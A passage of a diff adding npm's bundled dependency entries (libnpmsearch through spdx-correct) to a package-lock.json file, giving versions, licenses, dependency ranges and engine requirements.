"^2.4.0", + "npm-package-arg": "^6.1.0", + "npm-registry-fetch": "^4.0.0", + "semver": "^5.5.1", + "ssri": "^6.0.1" + } + }, + "node_modules/npm/node_modules/libnpmsearch": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "figgy-pudding": "^3.5.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/libnpmteam": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/libnpx": { + "version": "10.2.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "dotenv": "^5.0.1", + "npm-package-arg": "^6.0.0", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.0", + "update-notifier": "^2.3.0", + "which": "^1.3.0", + "y18n": "^4.0.0", + "yargs": "^14.2.3" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/lock-verify": { + "version": "2.2.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@iarna/cli": "^2.1.0", + "npm-package-arg": "^6.1.0", + "semver": "^5.4.1" + }, + "bin": { + "lock-verify": "cli.js" + } + }, + "node_modules/npm/node_modules/lockfile": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "signal-exit": "^3.0.2" + } + }, + "node_modules/npm/node_modules/lodash._baseindexof": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash._baseuniq": { + "version": "4.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "lodash._createset": "~4.0.0", + "lodash._root": "~3.0.0" + } + }, + "node_modules/npm/node_modules/lodash._bindcallback": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash._cacheindexof": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash._createcache": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "lodash._getnative": "^3.0.0" + } + }, + "node_modules/npm/node_modules/lodash._createset": { + "version": "4.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash._getnative": { + "version": "3.9.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash._root": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash.clonedeep": { + "version": "4.5.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash.restparam": { + "version": "3.6.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash.union": { + "version": "4.6.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash.uniq": { + "version": "4.5.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lodash.without": { + "version": "4.4.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/lowercase-keys": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/lru-cache": { + "version": "5.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/npm/node_modules/make-dir": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "pify": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/make-fetch-happen": { + "version": "5.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "agentkeepalive": "^3.4.1", + "cacache": "^12.0.0", + "http-cache-semantics": "^3.8.1", + "http-proxy-agent": "^2.1.0", + "https-proxy-agent": "^2.2.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "node-fetch-npm": "^2.0.2", + "promise-retry": "^1.1.1", + "socks-proxy-agent": "^4.0.0", + "ssri": "^6.0.0" + } + }, + "node_modules/npm/node_modules/meant": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/mime-db": { + "version": "1.35.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/mime-types": { + "version": "2.1.19", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "mime-db": "~1.35.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/minimatch": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/minimist": { + "version": "1.2.6", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/minizlib": { + "version": "1.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minipass": "^2.9.0" + } + }, + "node_modules/npm/node_modules/minizlib/node_modules/minipass": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "node_modules/npm/node_modules/mississippi": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/npm/node_modules/mkdirp": { + "version": "0.5.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/npm/node_modules/move-concurrently": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" + } + }, + "node_modules/npm/node_modules/move-concurrently/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ms": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/mute-stream": { + "version": "0.0.7", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/node-fetch-npm": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "encoding": "^0.1.11", + "json-parse-better-errors": "^1.0.0", + "safe-buffer": "^5.1.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/node-gyp": { + "version": "5.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.2", + "mkdirp": "^0.5.1", + "nopt": "^4.0.1", + "npmlog": "^4.1.2", + "request": "^2.88.0", + "rimraf": "^2.6.3", + "semver": "^5.7.1", + "tar": "^4.4.12", + "which": "^1.3.1" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/npm/node_modules/nopt": { + "version": "4.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "abbrev": "1", + "osenv": "^0.1.4" + }, + "bin": { + "nopt": "bin/nopt.js" + } + }, + "node_modules/npm/node_modules/normalize-package-data": { + "version": "2.5.0", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/npm/node_modules/normalize-package-data/node_modules/resolve": { + "version": "1.10.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "path-parse": "^1.0.6" + } + }, + "node_modules/npm/node_modules/npm-audit-report": { + "version": "1.3.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cli-table3": "^0.5.0", + "console-control-strings": "^1.1.0" + } + }, + "node_modules/npm/node_modules/npm-bundled": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-normalize-package-bin": "^1.0.1" + } + }, + "node_modules/npm/node_modules/npm-cache-filename": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-install-checks": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "semver": "^2.3.0 || 3.x || 4 || 5" + } + }, + "node_modules/npm/node_modules/npm-lifecycle": { + "version": "3.1.5", + "dev": true, + "inBundle": true, + "license": "Artistic-2.0", + "dependencies": { + "byline": "^5.0.0", + "graceful-fs": "^4.1.15", + "node-gyp": "^5.0.2", + "resolve-from": "^4.0.0", + "slide": "^1.1.6", + "uid-number": "0.0.6", + "umask": "^1.1.0", + "which": "^1.3.1" + } + }, + "node_modules/npm/node_modules/npm-logical-tree": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-normalize-package-bin": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/npm-package-arg": { + "version": "6.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "hosted-git-info": "^2.7.1", + "osenv": "^0.1.5", + "semver": "^5.6.0", + "validate-npm-package-name": "^3.0.0" + } + }, + "node_modules/npm/node_modules/npm-packlist": { + "version": "1.4.8", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1", + "npm-normalize-package-bin": "^1.0.1" + } + }, + "node_modules/npm/node_modules/npm-pick-manifest": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "figgy-pudding": "^3.5.1", + "npm-package-arg": "^6.0.0", + "semver": "^5.4.1" + } + }, + "node_modules/npm/node_modules/npm-profile": { + "version": "4.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.1.2 || 2", + "figgy-pudding": "^3.4.1", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/npm-registry-fetch": { + "version": "4.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "bluebird": "^3.5.1", + "figgy-pudding": "^3.4.1", + "JSONStream": "^1.3.4", + "lru-cache": "^5.1.1", + "make-fetch-happen": "^5.0.0", + "npm-package-arg": "^6.1.0", + "safe-buffer": "^5.2.0" + } + }, + "node_modules/npm/node_modules/npm-registry-fetch/node_modules/safe-buffer": { + "version": "5.2.1", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/npm-run-path": { + "version": "2.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "path-key": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/npm-user-validate": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/npmlog": { + "version": "4.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "node_modules/npm/node_modules/number-is-nan": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/oauth-sign": { + "version": "0.9.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/object-assign": { + "version": "4.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/object-keys": { + "version": "1.0.12", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/object.getownpropertydescriptors": { + "version": "2.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.2", + "es-abstract": "^1.5.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/npm/node_modules/once": { + "version": "1.4.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/opener": { + "version": "1.5.2", + "dev": true, + "inBundle": true, + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/npm/node_modules/os-homedir": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/os-tmpdir": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/osenv": { + "version": "0.1.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "node_modules/npm/node_modules/p-finally": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/package-json": { + "version": "4.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "got": "^6.7.1", + "registry-auth-token": "^3.0.1", + "registry-url": "^3.0.3", + "semver": "^5.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/pacote": { + "version": "9.5.12", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "bluebird": "^3.5.3", + "cacache": "^12.0.2", + "chownr": "^1.1.2", + "figgy-pudding": "^3.5.1", + "get-stream": "^4.1.0", + "glob": "^7.1.3", + "infer-owner": "^1.0.4", + "lru-cache": "^5.1.1", + "make-fetch-happen": "^5.0.0", + "minimatch": "^3.0.4", + "minipass": "^2.3.5", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "normalize-package-data": "^2.4.0", + "npm-normalize-package-bin": "^1.0.0", + "npm-package-arg": "^6.1.0", + "npm-packlist": "^1.1.12", + "npm-pick-manifest": "^3.0.0", + "npm-registry-fetch": "^4.0.0", + "osenv": "^0.1.5", + "promise-inflight": "^1.0.1", + "promise-retry": "^1.1.1", + "protoduck": "^5.0.1", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.2", + "semver": "^5.6.0", + "ssri": "^6.0.1", + "tar": "^4.4.10", + "unique-filename": "^1.1.1", + "which": "^1.3.1" + } + }, + "node_modules/npm/node_modules/pacote/node_modules/minipass": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "node_modules/npm/node_modules/parallel-transform": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" + } + }, + "node_modules/npm/node_modules/parallel-transform/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/parallel-transform/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/parallel-transform/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/parallel-transform/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/path-exists": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/path-is-absolute": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/path-is-inside": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/npm/node_modules/path-key": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/path-parse": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/performance-now": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/pify": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/prepend-http": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/process-nextick-args": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/promise-inflight": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/promise-retry": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "err-code": "^1.0.0", + "retry": "^0.10.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/npm/node_modules/promise-retry/node_modules/retry": { + "version": "0.10.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/promzard": { + "version": "0.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "read": "1" + } + }, + "node_modules/npm/node_modules/proto-list": { + "version": "1.2.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/protoduck": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "genfun": "^5.0.0" + } + }, + "node_modules/npm/node_modules/prr": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/pseudomap": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/psl": { + "version": "1.9.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/pump": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/npm/node_modules/pumpify": { + "version": "1.5.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + } + }, + "node_modules/npm/node_modules/pumpify/node_modules/pump": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/npm/node_modules/qrcode-terminal": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "bin": { + "qrcode-terminal": "bin/qrcode-terminal.js" + } + }, + "node_modules/npm/node_modules/qs": { + "version": "6.5.3", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/npm/node_modules/query-string": { + "version": "6.14.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "decode-uri-component": "^0.2.0", + "filter-obj": "^1.1.0", + "split-on-first": "^1.0.0", + "strict-uri-encode": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm/node_modules/qw": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/rc": { + "version": "1.2.8", + "dev": true, + "inBundle": true, + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/npm/node_modules/read": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/read-cmd-shim": { + "version": "1.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2" + } + }, + "node_modules/npm/node_modules/read-installed": { + "version": "4.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "slide": "~1.1.3", + "util-extend": "^1.0.1" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.2" + } + }, + "node_modules/npm/node_modules/read-package-json": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.1", + "json-parse-even-better-errors": "^2.3.0", + "normalize-package-data": "^2.0.0", + "npm-normalize-package-bin": "^1.0.0" + } + }, + "node_modules/npm/node_modules/read-package-tree": { + "version": "5.3.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "util-promisify": "^2.1.0" + } + }, + "node_modules/npm/node_modules/readable-stream": { + "version": "3.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/readdir-scoped-modules": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" + } + }, + "node_modules/npm/node_modules/registry-auth-token": { + "version": "3.4.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "rc": "^1.1.6", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/npm/node_modules/registry-url": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "rc": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request": { + "version": "2.88.2", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/require-directory": { + "version": "2.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/require-main-filename": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/resolve-from": { + "version": "4.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/retry": { + "version": "0.12.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/npm/node_modules/rimraf": { + "version": "2.7.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/npm/node_modules/run-queue": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.1.1" + } + }, + "node_modules/npm/node_modules/run-queue/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/safe-buffer": { + "version": "5.2.1", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/safer-buffer": { + "version": "2.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/semver": { + "version": "5.7.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/npm/node_modules/semver-diff": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "semver": "^5.0.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/set-blocking": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/sha": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "(BSD-2-Clause OR MIT)", + "dependencies": { + "graceful-fs": "^4.1.2" + } + }, + "node_modules/npm/node_modules/shebang-command": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/shebang-regex": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/signal-exit": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/slide": { + "version": "1.1.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/smart-buffer": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks": { + "version": "2.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ip": "1.1.5", + "smart-buffer": "^4.1.0" + }, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/npm/node_modules/socks-proxy-agent": { + "version": "4.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "~4.2.1", + "socks": "~2.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/socks-proxy-agent/node_modules/agent-base": { + "version": "4.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "es6-promisify": "^5.0.0" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/npm/node_modules/sorted-object": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/npm/node_modules/sorted-union-stream": { + "version": "2.1.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "from2": "^1.3.0", + "stream-iterate": "^1.1.0" + } + }, + "node_modules/npm/node_modules/sorted-union-stream/node_modules/from2": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "~2.0.1", + "readable-stream": "~1.1.10" + } + }, + "node_modules/npm/node_modules/sorted-union-stream/node_modules/isarray": { + "version": "0.0.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/sorted-union-stream/node_modules/readable-stream": { + "version": "1.1.14", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/npm/node_modules/sorted-union-stream/node_modules/string_decoder": { + "version": "0.10.31", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/spdx-correct": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + 